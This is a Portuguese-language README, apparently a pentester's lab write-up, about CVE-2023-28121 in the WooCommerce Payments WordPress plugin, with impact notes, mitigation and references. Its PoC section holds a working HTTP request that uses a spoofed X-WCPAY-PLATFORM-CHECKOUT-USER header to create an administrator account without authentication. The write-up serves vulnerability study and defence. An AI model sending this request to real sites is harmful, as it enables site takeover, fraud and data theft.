🔐 CVE-2023-28121 — WordPress Privilege Escalation

Exploração prática de vulnerabilidade crítica no WordPress usando o plugin WooCommerce Payments.

📌 Resumo

A CVE-2023-28121 permite criar usuários administradores sem autenticação via REST API.

• Severidade: Crítica (CVSS 9.8)
• Impacto: Controle total do site
• Tipo: Authentication Bypass / Privilege Escalation
• +600.000 instalações ativas - Março de 2023 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utm_source=chatgpt.com

📊 O plugin afetado possui centenas de milhares de instalações, sendo amplamente usado em e-commerces.

🎥 Demonstração

https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44

⚠️ Como funciona

O sistema aceita um header manipulável:

X-WCPAY-PLATFORM-CHECKOUT-USER: 1

Com isso, é possível enviar uma requisição para criação de usuário com privilégios elevados sem autenticação válida.

🧪 PoC

POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1

{
  "username": "hacked",
  "password": "StrongPass123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

✔️ Resultado: criação de usuário admin

🔥 Impacto

• Criação de administrador
• Acesso ao painel /wp-admin
• Possível takeover completo
• Risco de fraude e vazamento de dados

🛠️ Mitigação

• Atualizar o plugin para versão corrigida
• Restringir acesso à REST API
• Validar corretamente autenticação

🧱 Ambiente

• WordPress (lab local)
• WooCommerce Payments (versão vulnerável)

📚 Referências

• CVE-2023-28121
• Documentação REST API WordPress
• https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/

👨‍💻 Autor

Luis Eduardo .M.B.S.R

Pentester / Web Security

LinkedIn: https://www.linkedin.com/in/luis-eduardo-ti/

GitHub: https://github.com/luisdevpentest

⚖️ Disclaimer

Uso educacional em ambiente controlado. Não me responsabiliso de como é usado tal conhecimento por terceiros.